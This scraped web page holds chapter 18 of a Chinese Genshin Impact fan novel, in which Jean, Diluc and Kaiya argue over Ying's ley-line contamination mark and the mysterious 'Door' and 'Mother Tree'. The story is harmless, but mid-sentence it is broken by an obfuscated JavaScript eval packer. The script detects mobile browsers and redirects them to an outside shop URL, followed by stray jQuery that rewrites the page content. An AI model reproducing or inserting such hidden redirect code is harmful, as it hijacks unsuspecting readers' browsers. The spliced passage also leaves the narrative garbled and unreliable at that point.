默认冷灰
24号文字
方正启体

18. 会见迪卢克

作者:猫猫车本书字数:K更新时间:
    休息室里的空气凝住了。


    琴站在荧身前半步,肩膀绷得很紧,深蓝色制服的布料在晨光里泛着冷硬的光泽。她没看凯亚,目光落在虚空的某一点,但荧能感觉到——琴在生气。


    不是外露的怒火,是更深的那种,沉在冰层底下的暗流。


    凯亚还靠在门框上,姿态悠闲得像在自家阳台晒太阳。但他那只露在外面的独眼,在琴和荧之间慢悠悠地转了个来回,最后定格在琴脸上。


    “怎么?”他挑了挑眉,语气里的笑意没减,但多了点别的,“代理团长大人不打算让我们的功臣见见‘老朋友’?”


    “迪卢克回来是他的事。”琴开口,声音平得像结冰的湖面,“荧今天的训练已经结束,需要休息。”


    “哎——别这么无情嘛。”凯亚直起身,走进休息室。他的披风下摆扫过门槛,带进一股外面训练场的尘土气味,“人家大老远从璃月赶回来,第一时间就来骑士团,这份心意多感人啊。”


    他走到桌边,随手拿起一个空水杯把玩。


    “再说了,”他转着杯子,眼睛看着杯壁上模糊的倒影,“迪卢克老爷带回来的……可不只是璃月的特产点心。”


    最后半句话,他说得很轻。


    但琴的肩膀,几不可察地绷紧了一瞬。


    荧站在琴身后,手腕上的烙印还在隐隐发烫。刚才测试时那块地脉碎块的刺激还没完全消退,身体深处那个共鸣点像被惊醒的野兽,在暗处焦躁地逡巡。


    派蒙抓着她衣角的手在抖。


    “荧……”小家伙的声音带着哭腔,“我们、我们回家好不好……”


    回家?


    荧在心里苦笑。她现在哪有家。蒙德城的临时住所是骑士团安排的,庄园是琴的,就连身边这个小家伙,也是在这个世界才认识的。


    她哪都回不去。


    “去见见吧。”荧开口,声音比她自己想的要平静。


    琴猛地回头看她。


    “你——”


    “既然迪卢克先生特意来了。”荧继续说,避开琴的目光,“不见一面,不礼貌。”


    这是实话,也是借口。她想知道迪卢克带回了什么。关于璃月,关于“门”,关于……也许和哥哥有关的线索。


    凯亚吹了声口哨。


    “瞧,小可爱多懂事。”他放下杯子,走到门边,做了个“请”的手势,“走吧?别让咱们的暗夜英雄等急了。”


    琴盯着荧看了几秒。


    最终,她深吸一口气,转身走向门口。经过凯亚身边时,她脚步没停,但扔下一句话,声音低得只有他们三人能听见。


    “凯亚,适可而止。”


    凯亚笑着摊手。


    “我一向很有分寸,团长大人。”


    下楼。


    骑士团总部的楼梯是厚重的石砌台阶,脚步声在上面回荡出沉闷的回响。派蒙飞在荧身边,小手紧紧抓着她的手指。荧能感觉到小家伙的颤抖——不是冷的,是怕的。


    三楼到二楼,转弯。


    二楼的走廊比训练场那边安静得多。两侧是挂着历代团长肖像的墙壁,画像里的人用各种严肃的目光注视着经过的人。尽头是会客室,深色的橡木门紧闭着。


    琴走到门前,停下。


    她没立刻推门,而是侧头看了荧一眼。那眼神很复杂,有警告,有担忧,还有一丝荧看不懂的……疲惫?


    然后她抬手,敲门。


    “进来。”


    声音从门内传来。很低,很稳,带着某种磐石般的质感。


    琴推开门。


    会客室不大,陈设简单。一张长桌,几把高背椅,壁炉里燃着微弱的火。窗边站着一个人。


    迪卢克·莱艮芬德。


    他背对着门,看着窗外。暗红色的长发束在脑后,露出线条冷硬的后颈。黑色的修身外套,深红的内衬,肩线挺括得像刀刃。听见开门声,他转过身。


    那双赤红色的眼睛,第一时间锁定了荧。


    不是扫视,是锁定。像猎鹰盯住目标,锐利,专注,带着某种荧无法立刻解读的沉重压力。


    然后,他的视线才移到琴身上,微微颔首。


    “代理团长。”


    “迪卢克前辈。”琴点头回应,语气正式,“听说你刚从璃月回来。”


    “昨天傍晚到的。”迪卢克说,声音没什么起伏。他的目光重新回到荧身上,上下打量了一圈,“你的公开测试,我看了后半程。”


    荧愣了一下。


    “你……在场?”


    “在总部门口。”迪卢克走到桌边,拉开一把椅子,却没有坐下,“人群后面。”


    难怪。荧想起测试时那种如芒在背的感觉,原来不只是围观群众的视线。


    “所以,”凯亚慢悠悠地晃进来,顺手带上门,“迪卢克老爷专程来,是想给我们的小英雄一点评价?”


    迪卢克没理他。


    他盯着荧,看了足足五秒。那目光太直接,太有穿透力,荧几乎能感觉到皮肤被灼烧的错觉。


    “最后那个样本,”迪卢克开口,“是地脉污染物。”


    不是疑问,是陈述。


    荧点头。


    “你怎么抵抗的。”他问,和琴问过一模一样的问题。


    荧给出一样的答案。


    “靠意志。”


    迪卢克的眉头,极轻微地皱了一下。


    很细微的动作,但在他那张总是没什么表情的脸上,显得格外明显。


    “地脉污染物对Fork的诱导性,不是意志能完全抵抗的。”他说,走到壁炉边,拿起火钳拨了拨炉火。


    “璃月有过类似案例。三个接触污染的Fork,意志最坚定的那个撑得最久——但异变得也最彻底。”


    火焰噼啪一声,窜高了一瞬。


    “异变?”荧问。


    “身体部分元素化,认知扭曲,最终成为污染源的一部分。”迪卢克放下火钳,转身,“你接触的时间不长,但已经留下了印记。”


    他的视线落在荧的手腕上。


    隔着袖子,但荧觉得他看见了。看见了那圈淡了的、但依然存在的烙印。


    琴往前一步,挡在荧身前。


    “迪卢克前辈,这件事骑士团已经在处理。”她的声音带着不容置疑的强硬,“荧接受了净化治疗,目前情况稳定。”


    “净化治疗。”迪卢克重复这四个字,语气里听不出情绪,“古恩希尔德家族的方法?”


    “是。”


    “成功率?”


    “……有记载的成功案例,百分之三十七。”


    “失败的呢。”


    琴沉默了一瞬。


    “失败案例,不在今天的讨论范围内。”她最后说。


    迪卢克看着她,赤红的眼睛里有什么东西沉了下去。


    “琴。”他第一次叫了她的名字,而不是职务,“你把她当什么?实验品?还是你证明自己理论的筹码?”


    会客室里的空气,瞬间降到冰点。


    凯亚靠在门边的墙上,抱着胳膊,嘴角的笑意加深了。那是一种看好戏的笑,幸灾乐祸,又带着点别的什么。


    琴的脸色白了白。


    但她站得很直,下巴微微抬起,那是她面对质疑时惯有的防御姿态。


    “我是在帮她。”她说,每个字都咬得很清楚,“也是在帮所有像她一样的Fork,找一条能活下去的路。”


    “用百分之三十七的成功率?”迪卢克的声音依然平稳,但底下的冷意更刺骨,“用那些‘不在讨论范围内’的失败案例?”


    他往前走了一步。


    身高带来的压迫感瞬间逼近。琴没退,但荧看见她垂在身侧的手,握成了拳。


    “璃月的档案里,有七十二例地脉污染接触者的完整记录。”迪卢克说,声音低了些,但每个字都像锤子砸在石板上。


    “存活下来的,九个。神志完好的,两个。其中一个,现在被关在绝云间最深处的洞窟里,用三重封印锁着,因为他会无差别攻击所有靠近的活物——包括曾经最爱的人。”


    他停顿了一下。


    “另一个,是我这次在璃月见到的。她‘活’着,但每天需要服用三种不同的抑制剂,两种镇定剂,才能保持基本清醒。她丈夫告诉我,她已经三年没碰过他们的孩子了——因为怕失控。”


    壁炉里的火静静燃烧。


    窗外的光斜射进来,在木地板上切出明亮的光带。但会客室里冷得像地窖。


    “这就是你给她找的路?”迪卢克最后问,声音很轻,却重得让人喘不过气。


    琴的嘴唇抿成一条苍白的线。


    她没说话。


    没法说话。


    荧站在她身后,看着她的背影。那个永远挺直、永远可靠、永远扛着一切的背影,此刻在迪卢克的质问下,显出了一丝裂痕。


    很细,但存在。


    “迪卢克老爷。”凯亚忽然开口,打破了僵局,“你大老远回来,不会就为了给我们代理团长大人上课吧?”


    迪卢克侧头看他。


    “情报。”他说,“关于‘门’和‘外来者’的。”


    这个词出口的瞬间,荧感觉到手腕上的烙印猛地一烫!


    不是之前那种持续的灼热,是尖锐的、像是被针扎了一下的刺痛。她差点叫出声,死死咬住牙才忍住。


    共鸣点苏醒了。


    疯狂震颤。


    迪卢克注意到了她的异常。他的视线再次锁定她,赤红的瞳孔微微收缩。


    “你怎么了。”


    “没事。”荧说,声音有点抖,“有点累。”


    迪卢克盯着她看了几秒,没再追问,但眼神里的疑虑更重了。


    他从外套内侧的口袋里,取出一个扁平的金属盒子,放在桌上。打开,里面不是文件,是几块大小不一的、暗蓝色的碎晶。晶体内都有杂质——黑色的、像血管一样蔓延的纹路。


    “璃月层岩巨渊深处挖出来的。”迪卢克说,“带有‘门’的残留波动。”


    琴走过去,拿起一块碎晶,对着光看。


    “和蒙德发现的……很像。”


    “不只是像。”迪卢克说,“根据璃月七星提供的分析报告,这些碎晶里的波动频率,和五百年前坎瑞亚灾变时期遗留的地脉异常数据……有百分之八十以上的重合。”


    坎瑞亚。


    荧记得这个词。在提瓦特的传说里,那是个已经灭亡的古国,和深渊有关。


    “所以‘门’和坎瑞亚有关?”凯亚问,语气依然轻松,但荧看见他抱着胳膊的手指,无意识地收紧了些。


    “不确定。”迪卢克说,“但璃月的学者提出了一个假设——‘门’可能不是自然现象。是某种……人为开启的通道。连接提瓦特和其他地方。”


    其他地方。


    荧的心脏漏跳了一拍。


    “其他地方是哪里?”她问,声音干涩。


    迪卢克看向她。


    “不知道。”他说,“但接触过‘门’波动的人,都会报告类似的症状——听到呼唤,看到幻象,产生强烈的‘想回家’的冲动。不管他们的家在哪里。”


    他顿了顿。


    “而所有症状者,最终都会出现同一个幻象。”


    “什么幻象?”琴问。


    迪卢克从盒子里拿起最小的那块碎晶。暗蓝色的晶体在他指尖微微发光,里面的黑色纹路像活了一样缓慢蠕动。


    “一棵树。”他说,声音低了下去,“巨大到看不到顶的树。树下有无数身影,在跪拜,在祈祷,在等待。”


    荧的呼吸停了。


    她想起在藏书室,触碰那块琥珀时看到的画面。


    巨大的树影。


    跪拜的身影。


    一模一样。


    “璃月那边称它为‘世界树’。”迪卢克放下碎晶,“但更古老的文献里,它有个更原始的名字——”


    他抬起眼,看向荧。


    赤红色的瞳孔深处,倒映着壁炉跳跃的火光,也倒映着她苍白的脸。


    “——‘母树’。”


    这个词像一道惊雷,劈进会客室。


    琴手里的碎晶掉在桌上,发出清脆的撞击声。她猛地看向迪卢克,又猛地看向荧,脸色彻底变了。


    凯亚站直了身体。


    他脸上那种玩世不恭的笑,第一次完全消失了。取而代之的,是一种荧从未见过的、冰冷的锐利。


    “母树。”他重复,声音很轻,但每个字都像冰锥,“古恩希尔德家族最高机密里的那个‘母树’?”


    琴没回答。


    她的手按在桌沿,指节发白。目光死死盯着迪卢克。


    “你怎么会知道……”


    “璃月有他们的古老家族,琴。”迪卢克打断她,“有些秘密,不是只有古恩希尔德在守护。”


    他重新看向荧。


    “你触碰过地脉污染物,听到了呼唤,看到了幻象。”他说,不是疑问,是确认,“而你现在手腕上那个印记——就是‘门’的标记。对吗。”


    荧张了张嘴,发不出声音。


    她该否认。琴警告过她,不能告诉任何人。


    但她看着迪卢克的眼睛。那双赤红色的、像熔岩又像鲜血的眼睛里,没有试探,没有算计,只有一种沉重的、近乎残酷的坦诚。


    他在告诉她真相。


    也在向她索要真相。


    “……对。”她最终说。


    琴闭上眼睛,深吸了一口气。


    凯亚低低地吹了声口哨。


    “哇哦。”他说,声音里重新带上了笑意,但这次的笑又冷又涩,“小可爱,你身上的秘密,比我想的还要精彩啊。”


    派蒙抓紧了荧的手指,小小的身体在发抖。


    “荧……”她小声说,声音里全是恐惧,“他在说什么呀……什么树……什么门……我好害怕……”


    荧反手握紧她。


    “所以,”迪卢克继续说,仿佛刚才那个爆炸性的揭露只是普通对话,“你现在是‘门’的标记者。地脉异常生物会把你当同类,或者当猎物。而‘门’本身——不管它是什么——也会通过这个标记,持续影响你。”


    他走到窗边,背对着所有人。


    “璃月的那个幸存者,手腕上也有类似的印记。三年了,印记没有消失,反而在缓慢扩散。她丈夫说,她晚上做梦,会哭着喊‘妈妈,带我回家’——但她母亲十年前就去世了。”


    窗外传来蒙德城街道的喧闹声。马车轱辘碾过石板,商贩叫卖,孩童嬉笑。那些声音隔着玻璃传进来,模糊又遥远。


    会客室里死寂。


    “我能做什么。”荧问,声音平静得她自己都惊讶。


    迪卢克转过身。


    “离开蒙德。”他说,没有任何迂回,“去璃月。那里有更完善的封印技术,也有更丰富的对抗地脉污染的经验。我可以安排——”


    “不行。”


    琴的声音斩钉截铁。


    她睁开眼睛,走到荧身边,和她并肩站立。那双湖蓝色的眼睛再次恢复了冷静,甚至比平时更冷,像冻实的湖面。


    “荧是骑士


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17122945|195980||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    团的受训人员,是我的责任。”她看着迪卢克,一字一句地说,“她的治疗,她的安全,由我负责。”


    “用百分之三十七的成功率负责?”迪卢克的声音里带上了一丝讥讽。


    “用古恩希尔德家族六百年的研究负责。”琴毫不退让,“迪卢克前辈,你的情报很有价值,我感谢。但处置方式,必须由骑士团——由我决定。”


    “然后看着她变成下一个璃月的案例?”


    “她不会。”


    “你凭什么保证?”


    “凭我是琴·古恩希尔德。”


    这句话说出来的瞬间,琴的身上爆发出一种强烈的、近乎压迫感的气息。不是Cake的诱惑气息,是另一种东西——属于统治者的威严,属于守护者的决绝,属于一个背负着六百年家族使命的继承人的绝对自信。


    迪卢克看着她,赤红的眼睛里翻涌着复杂的情绪。


    愤怒。不解。还有一丝失望?


    “琴。”他再次叫她的名字,声音低了下去,“你会害死她。”


    “我不会。”


    “你已经在害她了。”


    两人的目光在空中撞在一起,像两把出鞘的剑,火星四溅。


    凯亚忽然笑了起来。


    “哎呀呀。”他拍着手,慢悠悠地走到桌子另一边,“这么热闹。不知道的还以为我们在商量怎么分遗产呢。”


    他拿起一块碎晶,在指尖把玩。


    “不过说真的——小可爱现在就是个活靶子。地脉怪物想找她,‘门’想找她,说不定深渊教团也想找她。留在蒙德,确实不太安全。”


    他看向琴,笑眯眯的。


    “但去璃月呢……人生地不熟,万一出点什么事,我们可爱的代理团长大人可就要心疼死了。”


    琴的脸色又白了一分。


    迪卢克盯着凯亚,眼神冷得像要杀人。


    “凯亚,这不是玩笑。”


    “我知道啊。”凯亚放下碎晶,摊手,“所以我有个提议——折中。”


    他走到荧面前,弯下腰,视线和她平齐。


    那只独眼里闪烁着荧看不懂的光,像深井里的倒影,扭曲又真实。


    “小可爱自己选。”他说,声音很轻,但每个人都听得清清楚楚,“留下,跟琴团长继续训练。或者,跟迪卢克老爷去璃月寻求治疗。”


    他顿了顿,嘴角勾起一个意味深长的笑。


    “或者……第三条路。”


    “什么路。”迪卢克问,声音里带着戒备。


    凯亚直起身,看向琴。


    “公开监护权。”他说,语气轻松得像在讨论晚餐吃什么,“琴团长作为官方监护人,负责日常训练和管控。迪卢克老爷作为……嗯,技术顾问?提供璃月方面的支持和备用方案。”


    他转向迪卢克。


    “而你,暗夜英雄大人,既然这么不放心,不如就留在蒙德,亲自‘监督’治疗过程。反正你的酒庄有埃泽看着,离开几个月也没事。”


    最后,他看向荧。


    “至于小可爱本人——每天上午跟琴团长训练,下午接受迪卢克老爷的‘观察’,晚上嘛……自由活动。当然,得在我们三方共同安排的‘保护’下。”


    他张开双臂,像在展示什么杰作。


    “完美,不是吗?谁都参与了,谁都不放心谁,谁都得盯着谁。而我们的主角——”他朝荧眨了眨眼,“得到了三重保护,和……三重监视。”


    会客室里安静得可怕。


    壁炉里的火快要熄了,只剩一点暗红的炭。窗外的光在移动,从地板爬上了墙壁。


    琴和迪卢克,谁都没说话。


    他们在衡量。


    衡量这个提议里的风险,利益,还有那些没说出口的——控制欲,占有欲,不信任,以及更深处的、连他们自己都不愿承认的东西。


    荧站在他们中间,感觉自己在被无形的线拉扯。


    一边是琴的秩序与承诺,一边是迪卢克的真相与警告,还有凯亚那双笑眯眯的、像在玩一场巨大棋局的眼睛。


    而她手腕上的烙印,在持续发烫。


    共鸣点在震颤。


    身体深处那个属于“外来者”的部分,在苏醒,在低语,在渴望——渴望靠近那些碎晶,渴望触碰“门”的秘密,渴望找到……回家的路。


    即使她不知道家在哪里。


    “我……”她开口,声音在安静的房间里格外清晰。


    所有人都看向她。


    “我想留在蒙德。”她说。


    琴的肩膀,几不可察地松了一下。


    迪卢克的眉头皱得更深。


    凯亚笑了——那是真正的、带着愉悦的笑。


    “但,”荧继续说,看向迪卢克,“我想接受璃月的治疗建议。也想……了解更多关于‘门’和‘母树’的情报。”


    她转向琴。


    “而训练,我会继续。”


    最后,她看向凯亚。


    “至于‘保护’和‘监视’……”她顿了顿,“随便你们。”


    她说得很平静。


    平静得不像在决定自己的命运,像在点一份晚餐。


    派蒙抓紧她的手,小声说:“荧,你、你真的要……”


    “嗯。”荧拍了拍她的小脑袋,“这样最好。”


    至少,她能把主动权,抓回自己手里一点。


    哪怕只是一点点。


    迪卢克盯着她看了很久。


    最终,他点了点头。


    “可以。”他说,“我会留在蒙德。但治疗方式,必须按璃月的方案调整。琴,这一点没有商量余地。”


    琴沉默了几秒。


    “……可以。”她说,声音有些疲惫,“但所有治疗,必须在骑士团的监督下进行。”


    “自然。”迪卢克看向凯亚,“至于你——”


    “我?”凯亚笑眯眯地,“我当然负责协调啦。毕竟这么复杂的三角关系,总得有个润滑剂,不是吗?”


    他说着,走到门边,拉开门。


    “那么,今天就到这里?我想我们的小可爱需要休息,而两位……也需要时间消化消化。”


    琴看了荧一眼,那眼神里有太多东西,荧一时读不懂。


    “回去休息。”她说,“明天……我们再谈细节。”


    迪卢克没说话,只是点了点头。


    荧拉着派蒙,走出会客室。


    门在身后关上。


    走廊里安静得能听见自己的心跳。派蒙飞在她身边,小手还紧紧抓着她。


    “荧……”她小声说,“你还好吗?”


    荧没回答。


    她抬起手腕,看着袖口下那圈淡了的烙印。


    它在发烫。


    一直在发烫。


    而身体深处,那个共鸣点在低语,用只有她能听见的声音,反复说着同一个词——


    ……回家……


    ……回家……


    ……回家……


    她握紧拳头,继续往前走。


    下章预告


    三方监护协议达成的第二天,琴和迪卢克就在治疗方式上发生了第一次正面冲突。凯亚“好心”地提供了训练场作为“中立区”,结果变成了三人同时在场监督的尴尬局面。派蒙躲在角落瑟瑟发抖,而荧在三种截然不同的气息包围下,终于体会到了什么叫“修罗场”的前奏。更糟的是,她手腕上的烙印在三人气息的刺激下,开始发生不可控的变化——颜色加深,纹路蔓延,像是要活过来。而这一次,共鸣点传来的低语里,多了一个新的词:……钥匙……
(←快捷键) <<上一章 投推荐票 回目录 标记书签 下一章>> (快捷键→)